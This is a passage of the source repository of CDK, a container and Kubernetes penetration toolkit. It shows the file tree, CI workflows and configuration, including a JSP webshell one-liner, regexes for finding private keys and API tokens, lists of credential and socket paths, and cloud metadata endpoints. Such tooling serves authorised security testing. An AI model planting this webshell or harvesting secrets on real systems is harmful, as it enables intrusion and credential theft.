├── .github ├── ISSUE_TEMPLATE │ └── bug-report.md └── workflows │ ├── build_and_release.yml │ ├── changelog.sh │ └── check.yaml ├── .gitignore ├── LICENSE ├── README.md ├── cmd └── cdk │ └── cdk.go ├── conf ├── build_conf.go ├── evaluate_conf.go ├── exploit_conf.go ├── linux_kernel_exploit.go ├── message.go └── scanner_conf.go ├── go.mod ├── go.sum ├── pkg ├── cli │ ├── banner.go │ ├── parse.go │ └── parse_test.go ├── errors │ └── errors.go ├── evaluate │ ├── available_linux_capabilities.go │ ├── available_linux_commands.go │ ├── cgroups.go │ ├── check_mount_escape.go │ ├── cloud_metadata_api.go │ ├── evaluate.go │ ├── evaluate_test.go │ ├── k8s_anonymous_login.go │ ├── k8s_service_account.go │ ├── kernel.go │ ├── network_namespace.go │ ├── security_info.go │ ├── sensitive_env.go │ ├── sensitive_local_file_path.go │ ├── sensitive_service.go │ ├── service_discorvery_dns.go │ ├── sysctl_vars.go │ └── system_info.go ├── exploit │ ├── base │ │ └── base.go │ ├── credential_access │ │ ├── etcd_get_k8s_token.go │ │ ├── file_scan.go │ │ ├── file_scan_test.go │ │ ├── image_registry_brute.go │ │ ├── image_registry_brute_test.go │ │ ├── k8s_configmap_dump.go │ │ └── k8s_secret_dump.go │ ├── discovery │ │ ├── istio_check.go │ │ ├── k8s_cluster_info.go │ │ ├── k8s_psp_dump.go │ │ └── service_probe.go │ ├── escaping │ │ ├── abuse_unpriv_userns.go │ │ ├── cap_dac_read_search.go │ │ ├── cap_dac_read_search_test.go │ │ ├── check_ptrace.go │ │ ├── check_ptrace_test.go │ │ ├── containerd_shim_pwn.go │ │ ├── docker_api_pwn.go │ │ ├── docker_runc.go │ │ ├── docker_sock_check.go │ │ ├── docker_sock_pwn.go │ │ ├── k8s_kubelet_var_log_escape.go │ │ ├── lxcfs_rw_cgroup.go │ │ ├── lxcfs_rw_mknod.go │ │ ├── mount_cgroup.go │ │ ├── mount_device.go │ │ ├── mount_procfs.go │ │ └── rewrite_cgroup_devices.go │ ├── exp_init.go │ ├── exploit_test.go │ ├── hwexp │ │ ├── 411.yaml │ │ └── utils.go │ ├── persistence │ │ ├── deploy_webshell.go │ │ ├── k8s_backdoor_daemonset.go │ │ ├── k8s_clusterip_mitm.go │ │ ├── k8s_cronjob.go │ │ └── k8s_shadow_apiserver.go │ ├── privilege_escalation │ │ └── k8s_get_sa_token.go │ ├── remote_control │ │ ├── kubelet_exec.go │ │ └── reverse_shell.go │ └── test_poc.go ├── plugin │ └── interface.go ├── task │ ├── auto_escape.go │ └── fix_build_null.go ├── tool │ ├── dockerd_api │ │ └── dockerd_api.go │ ├── etcdctl │ │ ├── common.go │ │ └── ectl.go │ ├── kubectl │ │ ├── assets │ │ │ ├── .gitkeep │ │ │ └── kubectl-amd64 │ │ ├── common.go │ │ ├── kcurl.go │ │ └── kubectl_bin.go │ ├── netcat │ │ ├── netcat.go │ │ └── thin_code.go │ ├── netstat │ │ └── netstat.go │ ├── network │ │ └── network.go │ ├── probe │ │ ├── common.go │ │ ├── common_test.go │ │ ├── net.go │ │ └── thin_code.go │ ├── ps │ │ └── ps.go │ └── vi │ │ ├── thin_code.go │ │ └── ven.go └── util │ ├── capability │ ├── capability_define.go │ └── capability_test.go │ ├── cgroup.go │ ├── colorful.go │ ├── common.go │ ├── file_io.go │ ├── file_io_test.go │ ├── http_request.go │ ├── k8s.go │ ├── kubectl.go │ ├── kubelet.go │ ├── kubelet_api.go │ ├── namespace.go │ ├── output.go │ └── version.go ├── test ├── CDK-deploy-test │ ├── README.md │ ├── cluster_init │ │ ├── default_to_admin.yaml │ │ └── myappnew.yaml │ ├── lib │ │ ├── __init__.py │ │ ├── conf.py │ │ ├── k8s_remote_action.py │ │ ├── k8s_selfbuild_action.py │ │ └── ssh_remote_action.py │ ├── logs │ │ ├── 20201230112801.log │ │ └── 20210114112601.log │ ├── realease_main.py │ ├── requirements.txt │ └── test_main.py ├── k8s_exploit_util │ ├── anonymous_login.yaml │ ├── api-server-pod-config.json │ ├── backdoor_daemonset.json │ ├── backdoor_daemonset.yaml │ ├── cronjob.yaml │ ├── default_to_admin.yaml │ ├── get-sa-token.json │ ├── get-sa-token.yaml │ ├── myappnew.yaml │ ├── resp_podlist.json │ ├── runc.yaml │ └── shadow-apiserver.yaml ├── scan_file_path │ └── .ssh │ │ └── id.rsa ├── scan_file_text │ ├── 1 │ ├── ln │ │ └── 2.txt │ └── xxx │ │ └── 2.txt └── scripts │ └── runtest_in_dev.sh └── thanks.md /.github/ISSUE_TEMPLATE/bug-report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug Report 3 | about: Thank you for your help, please fill in the error report according to the template to help us improve the CDK. 感谢您的帮助,请按照模板填写错误报告,以帮助我们改进CDK。 4 | 5 | --- 6 | 7 | ## 请详细描述你遇到的问题 (Please describe the issue in detail) 8 | 9 | > Note: 提交issue前,请检查你所使用的CDK是否是最新版,有些BUG我们新版本已经修复啦。 10 | > Before submitting an issue, please check whether the CDK you are using is the latest version, otherwise there may be some bugs that have been fixed in latest version. 11 | 12 | ## 附加信息(Additional Information) 13 | 14 | 1、您执行 `cdk evaluate --full` 的返回结果是?(Full output of your execution of `cdk evaluate --full`) 15 | 16 | ``` 17 | $ ./cdk evaluate --full 18 | ``` 19 | 20 | 2、请贴出完整错误信息,可以是命令行输出、软件报错信息、截图等。(Please post the full error message, which can be command line output, software error message, screenshots, etc.) 21 | 22 | **注意,请贴出完整错误信息,不要只粘贴错误的最后一行!Attention, please post the full error message, don't paste the last line of the error only!** 23 | -------------------------------------------------------------------------------- /.github/workflows/build_and_release.yml: -------------------------------------------------------------------------------- 1 | name: CDK CI 2 | 3 | on: 4 | workflow_dispatch: 5 | release: 6 | types: [released, prereleased] 7 | 8 | jobs: 9 | 10 | release: 11 | name: Build and Release 12 | runs-on: ubuntu-latest 13 | 14 | steps: 15 | - uses: actions/setup-go@v2 16 | with: 17 | go-version: 1.22.2 18 | - uses: actions/setup-node@v1 19 | with: 20 | node-version: 10.x 21 | - uses: actions/checkout@v2 22 | with: 23 | fetch-depth: 0 24 | 25 | - uses: actions/download-artifact@v4 26 | - name: Upload Release and Renew Changelog 27 | env: 28 | UPLOAD_URL: ${{ github.event.release.upload_url }} 29 | API_HEADER: "Accept: application/vnd.github.v3+json" 30 | AUTH_HEADER: "Authorization: token ${{ secrets.GITHUB_TOKEN }}" 31 | RELEASE_URL: ${{ github.event.release.url }} 32 | 33 | run: | 34 | set -euo pipefail 35 | set -x 36 | 37 | sudo apt-get update 38 | sudo apt-get install -y upx file curl 39 | 40 | export CGO_ENABLED=0 41 | export GIT_COMMIT=$(git rev-list -1 HEAD) 42 | export ldflags="-s -w -extldflags \"-static\" -X github.com/cdk-team/CDK/pkg/cli.GitCommit=$GIT_COMMIT" 43 | 44 | mkdir -p bin 45 | 46 | echo "Building standard versions..." 47 | GOOS=darwin GOARCH=amd64 go build -ldflags="$ldflags" -o bin/cdk_darwin_amd64 ./cmd/cdk/ || echo "Darwin build failed" 48 | GOOS=linux GOARCH=386 go build -ldflags="$ldflags" -o bin/cdk_linux_386 ./cmd/cdk/ 49 | GOOS=linux GOARCH=amd64 go build -ldflags="$ldflags" -o bin/cdk_linux_amd64 ./cmd/cdk/ 50 | GOOS=linux GOARCH=arm go build -ldflags="$ldflags" -o bin/cdk_linux_arm ./cmd/cdk/ 51 | GOOS=linux GOARCH=arm64 go build -ldflags="$ldflags" -o bin/cdk_linux_arm64 ./cmd/cdk/ 52 | 53 | echo "Building thin versions..." 54 | GOOS=linux GOARCH=386 go build -ldflags="$ldflags" -tags="thin" -o bin/cdk_linux_386_thin ./cmd/cdk/ 55 | GOOS=linux GOARCH=amd64 go build -ldflags="$ldflags" -tags="thin" -o bin/cdk_linux_amd64_thin ./cmd/cdk/ 56 | GOOS=linux GOARCH=arm64 go build -ldflags="$ldflags" -tags="thin" -o bin/cdk_linux_arm64_thin ./cmd/cdk/ 57 | 58 | echo "Creating UPX compressed versions..." 59 | for file in bin/cdk_linux_{386,amd64}{,_thin}; do 60 | if [ -f "$file" ]; then 61 | cp "$file" "${file}_upx" 62 | upx "${file}_upx" || echo "UPX compression failed for ${file}" 63 | fi 64 | done 65 | 66 | UPLOAD_URL=$(echo -n $UPLOAD_URL | sed s/\{.*//g) 67 | 68 | echo "Uploading files..." 69 | 70 | for FILE in bin/*; do 71 | if [ -f "$FILE" ]; then 72 | echo "Uploading ${FILE}" 73 | MIME_TYPE=$(file -b --mime-type "${FILE}") 74 | RESPONSE=$(curl -w "%{http_code}" \ 75 | -H "${API_HEADER}" \ 76 | -H "${AUTH_HEADER}" \ 77 | -H "Content-Type: ${MIME_TYPE}" \ 78 | --data-binary "@${FILE}" \ 79 | "${UPLOAD_URL}?name=$(basename ${FILE})" \ 80 | -o /dev/null) 81 | 82 | if [ "$RESPONSE" -ne 201 ]; then 83 | echo "Error uploading ${FILE}, status code: ${RESPONSE}" 84 | fi 85 | fi 86 | done 87 | 88 | bash ".github/workflows/changelog.sh" 89 | 90 | -------------------------------------------------------------------------------- /.github/workflows/changelog.sh: -------------------------------------------------------------------------------- 1 | set -x 2 | set +e 3 | 4 | 5 | DATE_STRING=`date -u +"%Y-%m-%d"` 6 | SHA256_TEXT_BODY=`cd bin/ && shasum -a 256 * | tr -s ' ' '|'` 7 | 8 | TAG_VERSION=`echo "$GITHUB_REF" | sed -e 's/refs\/tags\///' || "HEAD"` 9 | LAST_TAG="$TAG_VERSION" 10 | PREVIOUS_TAG=`git for-each-ref --sort='-authordate' --format="%(refname:short)" | grep -E "^v[0-9]+\.[0-9]+\.[0-9]+$" | sed -n 2p` 11 | 12 | # generate base log of exploit evaluate and tool 13 | exploit=`git log "${LAST_TAG}...${PREVIOUS_TAG}" --pretty=format:%s -- "pkg/exploit/" | grep -viE ^merge` || : 14 | evaluate=`git log "${LAST_TAG}...${PREVIOUS_TAG}" --pretty=format:%s -- "pkg/evaluate/" | grep -viE ^merge` || : 15 | tool=`git log "${LAST_TAG}...${PREVIOUS_TAG}" --pretty=format:%s -- "pkg/tool/" | grep -viE ^merge` || : 16 | 17 | # log infomation calculate 18 | add_before=`echo "$exploit\n$evaluate\n$tool" | uniq` 19 | all_commit_message=`git log "${LAST_TAG}...${PREVIOUS_TAG}" --pretty=format:%s | grep -viE ^merge` || : 20 | other=`diff -u <(echo "$add_before") <(echo "$all_commit_message") | grep -E "^\+[a-zA-Z]" | cut -c 2-` || : 21 | 22 | # add changelog format 23 | [[ $exploit = *[^[:space:]]* ]] && exploit=`echo "$exploit" | awk '{print toupper(substr($0,1,1))""substr($0,2)}' | sed -e 's/^/* /'` && exploit=$'### :bomb: Exploits \n\n'"$exploit" 24 | [[ $evaluate = *[^[:space:]]* ]] && evaluate=`echo "$evaluate" | awk '{print toupper(substr($0,1,1))""substr($0,2)}' | sed -e 's/^/* /'` && evaluate=$'### :mag: About Evaluate\n\n'"${evaluate}" 25 | [[ $tool = *[^[:space:]]* ]] && tool=`echo "$tool" | awk '{print toupper(substr($0,1,1))""substr($0,2)}' | sed -e 's/^/* /'` && tool=$'### :toolbox: Tools\n\n'"${tool}" 26 | [[ $other = *[^[:space:]]* ]] && other=`echo "$other" | awk '{print toupper(substr($0,1,1))""substr($0,2)}' | sed -e 's/^/* /'` && other=$'### :sparkles: Others\n\n'"${other}" 27 | 28 | RELEASE_BODY=$(cat <<- EOF 29 | Release Date: $DATE_STRING 30 | 31 | ## :scroll: Changelog 32 | 33 | $exploit 34 | 35 | $evaluate 36 | 37 | $tool 38 | 39 | $other 40 | 41 | ## :key: Hash Table 42 | 43 | |SHA256|EXECTUE FILE| 44 | |---|---| 45 | |$SHA256_TEXT_BODY| 46 | EOF 47 | ) 48 | 49 | TITLE="CDK $TAG_VERSION" 50 | 51 | if [[ -z "${RELEASE_URL}" ]]; then 52 | echo -n "# $TITLE" $'\n\n' "$RELEASE_BODY" > /tmp/changelog.md 53 | 54 | else 55 | 56 | # update to github release page by github action 57 | RELEASE_BODY=`echo "$RELEASE_BODY" | jq -sR .` 58 | 59 | curl \ 60 | -XPATCH \ 61 | -H "${API_HEADER}" \ 62 | -H "${AUTH_HEADER}" \ 63 | -H "Content-Type: application/json" \ 64 | -d "{\"name\": \"$TITLE\",\"body\": ${RELEASE_BODY}}" \ 65 | "${RELEASE_URL}"; 66 | 67 | fi -------------------------------------------------------------------------------- /.github/workflows/check.yaml: -------------------------------------------------------------------------------- 1 | name: Go Check 2 | on: [push, pull_request] 3 | jobs: 4 | buildable: 5 | name: Buildable and Runable 6 | runs-on: ubuntu-latest 7 | steps: 8 | - uses: actions/checkout@master 9 | - name: build 10 | uses: actions/setup-go@v2 11 | with: 12 | go-version: '1.17' 13 | - run: | 14 | export CGO_ENABLED=0 15 | 16 | GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w " ./cmd/cdk/cdk.go 17 | GOOS=linux GOARCH=386 go build -ldflags="-s -w " ./cmd/cdk/cdk.go 18 | GOOS=linux GOARCH=arm go build -ldflags="-s -w " ./cmd/cdk/cdk.go 19 | GOOS=linux GOARCH=arm64 go build -ldflags="-s -w " ./cmd/cdk/cdk.go 20 | GOOS=linux GOARCH=amd64 go build -ldflags="-s -w " ./cmd/cdk/cdk.go 21 | 22 | # test main function with Evaluate, Exploit and Tool 23 | go test -v -timeout 30s -run ^TestParseCDKMain$ pkg/cli/*.go 24 | 25 | 26 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.DS_Store 2 | *.swp 3 | .idea 4 | /cdk_release_binary 5 | /vendor 6 | /venv 7 | *.pyc 8 | *.pyo 9 | 10 | /bin 11 | cmd/cdk/cdk 12 | *_darwin_386* 13 | *_darwin_amd64* 14 | *_linux_386* 15 | *_linux_amd64* 16 | *_linux_arm* 17 | *_freebsd_386* 18 | *_freebsd_amd64* 19 | *_openbsd_386* 20 | *_openbsd_amd64* 21 | *_windows_386* 22 | *_windows_amd64* 23 | *_freebsd_arm* 24 | *_netbsd_386* 25 | *_netbsd_amd64* 26 | *_netbsd_arm* 27 | *_plan9_386* 28 | 29 | /*.json 30 | /cmd/cdk/*.json 31 | 32 | .vscode/ 33 | .chglog/ 34 | __debug_bin 35 | 36 | /pkg/tool/kubectl/assets/ 37 | 38 | /cdk 39 | -------------------------------------------------------------------------------- /cmd/cdk/cdk.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package main 18 | 19 | import ( 20 | "github.com/cdk-team/CDK/pkg/cli" 21 | _ "github.com/cdk-team/CDK/pkg/exploit" // register all exploits 22 | _ "github.com/cdk-team/CDK/pkg/task" // register all task 23 | ) 24 | 25 | func main() { 26 | cli.ParseCDKMain() 27 | } 28 | -------------------------------------------------------------------------------- /conf/build_conf.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package conf 18 | -------------------------------------------------------------------------------- /conf/evaluate_conf.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package conf 18 | 19 | // check useful linux commands in container 20 | var LinuxCommandChecklist = []string{ 21 | "curl", 22 | "wget", 23 | "nc", 24 | "netcat", 25 | "kubectl", 26 | "docker", 27 | "find", 28 | "ps", 29 | "java", 30 | "python", 31 | "python3", 32 | "php", 33 | "node", 34 | "npm", 35 | "apt", 36 | "yum", 37 | "dpkg", 38 | "nginx", 39 | "httpd", 40 | "apache", 41 | "apache2", 42 | "ssh", 43 | "mysql", 44 | "mysql-client", 45 | "git", 46 | "svn", 47 | "vi", 48 | "capsh", 49 | "mount", 50 | "fdisk", 51 | "gcc", 52 | "g++", 53 | "make", 54 | "base64", 55 | "python2", 56 | "python2.7", 57 | "perl", 58 | "xterm", 59 | "sudo", 60 | "ruby", 61 | } 62 | 63 | var DefaultPathEnv = []string{ 64 | "/usr/local/sbin", 65 | "/usr/local/bin", 66 | "/usr/sbin", 67 | "/usr/bin", 68 | "/sbin", 69 | "/bin", 70 | "/usr/games", 71 | "/usr/local/games", 72 | "/snap/bin", 73 | } 74 | 75 | // match ENV to find useful service 76 | var SensitiveEnvRegex = "(?i)\\bssh_|k8s|kubernetes|docker|gopath" 77 | 78 | // match process name to find useful service 79 | var SensitiveProcessRegex = "(?i)ssh|ftp|http|tomcat|nginx|engine|php|java|python|perl|ruby|kube|docker|\\bgo\\b" 80 | 81 | // match local file path to find sensitive file 82 | // walk starts from StartDir and match substring(AbsFilePath,) 83 | type sensitiveFileRules struct { 84 | StartDir string 85 | NameList []string 86 | } 87 | 88 | var SensitiveFileConf = sensitiveFileRules{ 89 | StartDir: "/", 90 | NameList: []string{ 91 | `/docker.sock`, // docker socket (http) 92 | `/containerd.sock`, // containerd socket (grpc) 93 | `/containerd/s/`, // containerd-shim socket (grpc) 94 | `.kube/`, 95 | `.git/`, 96 | `.svn/`, 97 | `.pip/`, 98 | `/.bash_history`, 99 | `/.bash_profile`, 100 | `/.bashrc`, 101 | `/.ssh/`, 102 | `.token`, 103 | `/serviceaccount`, 104 | `.dockerenv`, 105 | `/config.json`, 106 | }, 107 | } 108 | 109 | // Check cloud provider APIs in evaluate task 110 | type cloudAPIS struct { 111 | CloudProvider string 112 | API string 113 | ResponseMatch string 114 | DocURL string 115 | } 116 | 117 | var CloudAPI = []cloudAPIS{ 118 | { 119 | CloudProvider: "Alibaba Cloud", 120 | API: "http://100.100.100.200/latest/meta-data/", 121 | ResponseMatch: "instance-id", 122 | DocURL: "https://help.aliyun.com/knowledge_detail/49122.html", 123 | }, 124 | { 125 | CloudProvider: "Azure", 126 | API: "http://169.254.169.254/metadata/instance", 127 | ResponseMatch: "azEnvironment", 128 | DocURL: "https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service", 129 | }, 130 | { 131 | CloudProvider: "Google Cloud", 132 | API: "http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true", 133 | ResponseMatch: "deviceName", 134 | DocURL: "https://cloud.google.com/compute/docs/storing-retrieving-metadata", 135 | }, 136 | { 137 | CloudProvider: "Tencent Cloud", 138 | API: "http://metadata.tencentyun.com/latest/meta-data/", 139 | ResponseMatch: "instance-name", 140 | DocURL: "https://cloud.tencent.com/document/product/213/4934", 141 | }, 142 | { 143 | CloudProvider: "OpenStack", 144 | API: "http://169.254.169.254/openstack/latest/meta_data.json", 145 | ResponseMatch: "availability_zone", 146 | DocURL: "https://docs.openstack.org/nova/rocky/user/metadata-service.html", 147 | }, 148 | { 149 | CloudProvider: "Amazon Web Services (AWS)", 150 | API: "http://169.254.169.254/latest/meta-data/", 151 | ResponseMatch: "instance-id", 152 | DocURL: "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html", 153 | }, 154 | { 155 | CloudProvider: "ucloud", 156 | API: "http://100.80.80.80/meta-data/latest/uhost/", 157 | ResponseMatch: "uhost-id", 158 | DocURL: "https://docs.ucloud.cn/uhost/guide/metadata/metadata-server", 159 | }, 160 | } 161 | -------------------------------------------------------------------------------- /conf/exploit_conf.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package conf 18 | 19 | // scan file text to find AK/Secrets 20 | // pkg/exploit/file_scan.go 21 | type textScanRules struct { 22 | MaxFileByte int64 // skip largefile 23 | SkipExecutableFile bool // skip executable file 24 | RegexList map[string]string // regex to match file text 25 | } 26 | 27 | var ScanFileTextConf = textScanRules{ 28 | MaxFileByte: 1024 * 1024, 29 | SkipExecutableFile: true, 30 | RegexList: map[string]string{ 31 | "Slack Token": "(xox[p|b|o|a]-[0-9]{12}-[0-9]{12}-[0-9]{12}-[a-z0-9]{32})", 32 | "RSA private key": "-----BEGIN RSA PRIVATE KEY-----", 33 | "SSH (OPENSSH) private key": "-----BEGIN OPENSSH PRIVATE KEY-----", 34 | "SSH (DSA) private key": "-----BEGIN DSA PRIVATE KEY-----", 35 | "SSH (EC) private key": "-----BEGIN EC PRIVATE KEY-----", 36 | "PGP private key block": "-----BEGIN PGP PRIVATE KEY BLOCK-----", 37 | "Facebook Oauth": "[f|F][a|A][c|C][e|E][b|B][o|O][o|O][k|K].{0,30}['\"\\s][0-9a-f]{32}['\"\\s]", 38 | "Twitter Oauth": "[t|T][w|W][i|I][t|T][t|T][e|E][r|R].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]", 39 | "GitHub": "[g|G][i|I][t|T][h|H][u|U][b|B].{0,30}['\"\\s][0-9a-zA-Z]{35,40}['\"\\s]", 40 | "Google Oauth": "(\"client_secret\":\\s*?\"[a-zA-Z0-9-_]{24}\")", 41 | "AWS API Key": "AKIA[A-Z0-9]{16}", 42 | "Heroku API Key": "[h|H][e|E][r|R][o|O][k|K][u|U].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}", 43 | "Generic Secret": "[s|S][e|E][c|C][r|R][e|E][t|T].{0,30}['\"\\s][0-9a-zA-Z]{32,45}['\"\\s]", 44 | "Generic API Key": "[a|A][p|P][i|I][_]?[k|K][e|E][y|Y].{0,30}['\"\\s][0-9a-zA-Z]{32,45}['\"\\s]", 45 | "Slack Webhook": "https://hooks\\.slack\\.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}", 46 | "Google (GCP) Service-account": "\"type\": \"service_account\"", 47 | "Twilio API Key": "SK[a-z0-9]{32}", 48 | "Password in URL": "[a-zA-Z]{3,10}://[^/\\s:@]{3,20}:[^/\\s:@]{3,20}@.{1,100}[\"'\\s]", 49 | }, 50 | } 51 | 52 | var K8sSATokenDefaultPath = "/var/run/secrets/kubernetes.io/serviceaccount/token" 53 | 54 | var WebShellCodeJSP = "<%Runtime.getRuntime().exec(request.getParameter(\"$SECRET_PARAM\"));%>" 55 | 56 | var WebShellCodePHP = "" 57 | -------------------------------------------------------------------------------- /conf/message.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package conf 18 | 19 | // ThinIgnoreTool Prompt the users that this tool is not included in the thin version. 20 | var ThinIgnoreTool = "You are using the thin version. In order to be more lightweight, this tool is not included in the thin version." 21 | -------------------------------------------------------------------------------- /conf/scanner_conf.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package conf 18 | 19 | import "time" 20 | 21 | // TCP port scanner 22 | type TCPScannerConfS struct { 23 | Timeout time.Duration 24 | MaxParallel int64 25 | PortList map[string]string 26 | } 27 | 28 | var TCPScannerConf = TCPScannerConfS{ 29 | Timeout: 500 * time.Millisecond, 30 | MaxParallel: 50, 31 | PortList: map[string]string{ 32 | "ssh": "22", 33 | "http": "80", 34 | "https": "443", 35 | "docker-api": "2375", 36 | "etcd": "2379", 37 | "cAdvisor": "4194", 38 | "k8s-api-server": "6443", 39 | "kubectl-proxy": "8001", 40 | "http-1": "8080", 41 | "https-1": "8443", 42 | "kubelet-auth": "10250", 43 | "kubelet-read": "10255", 44 | "dashboard": "30000", 45 | "nodeport-service": "30001-32767", //default NodePort service port range:30000-32767。 46 | "tiller,weave,calico": "44134", 47 | }, 48 | } 49 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/cdk-team/CDK 2 | 3 | go 1.16 4 | 5 | require ( 6 | github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 7 | github.com/bkthomps/Ven v0.5.0 8 | github.com/containerd/containerd v1.4.3 9 | github.com/containerd/ttrpc v1.0.2 10 | github.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815 11 | github.com/fatih/color v1.13.0 12 | github.com/gdamore/tcell v1.4.0 13 | github.com/gogo/protobuf v1.3.2 // indirect 14 | github.com/google/go-cmp v0.5.4 // indirect 15 | github.com/hashicorp/go-version v1.3.0 16 | github.com/idoubi/goz v1.0.0 17 | github.com/kr/pretty v0.2.1 // indirect 18 | github.com/mitchellh/go-ps v1.0.0 19 | github.com/opencontainers/go-digest v1.0.0 // indirect 20 | github.com/shirou/gopsutil/v3 v3.20.10 21 | github.com/sirupsen/logrus v1.8.1 // indirect 22 | github.com/stretchr/testify v1.7.0 23 | github.com/tidwall/gjson v1.9.3 24 | github.com/tidwall/sjson v1.1.4 25 | golang.org/x/net v0.0.0-20220630215102-69896b714898 26 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c 27 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a 28 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 // indirect 29 | ) 30 | -------------------------------------------------------------------------------- /pkg/cli/banner.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package cli 18 | 19 | import ( 20 | "fmt" 21 | "log" 22 | "os" 23 | 24 | "github.com/cdk-team/CDK/pkg/util" 25 | "github.com/docopt/docopt-go" 26 | ) 27 | 28 | var Args docopt.Opts 29 | var GitCommit string 30 | 31 | var BannerTitle = `CDK (Container DucK)` 32 | var BannerVersion = fmt.Sprintf("%s %s", "CDK Version(GitCommit):", GitCommit) 33 | 34 | var BannerHeader = fmt.Sprintf(`%s 35 | %s 36 | Zero-dependency cloudnative k8s/docker/serverless penetration toolkit by cdxy & neargle 37 | Find tutorial, configuration and use-case in https://github.com/cdk-team/CDK/ 38 | `, util.GreenBold.Sprint(BannerTitle), BannerVersion) 39 | 40 | var BannerContainerTpl = BannerHeader + ` 41 | %s 42 | cdk evaluate [--full] 43 | cdk eva [--full] 44 | cdk run (--list | [...]) 45 | cdk auto-escape 46 | cdk [...] 47 | 48 | %s 49 | cdk evaluate Gather information to find weakness inside container. 50 | cdk eva Alias of "cdk evaluate". 51 | cdk evaluate --full Enable file scan during information gathering. 52 | 53 | 54 | %s 55 | cdk run --list List all available exploits. 56 | cdk run [...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki 57 | cdk auto-escape Escape container in different ways then let target execute . 58 | 59 | %s 60 | vi Edit files in container like "vi" command. 61 | ps Show process information like "ps -ef" command. 62 | netstat Like "netstat -antup" command. 63 | nc [options] Create TCP tunnel. 64 | ifconfig Show network information. 65 | kcurl (get|post) [] Make request to K8s api-server. 66 | ectl get Unauthorized enumeration of ectd keys. 67 | ucurl 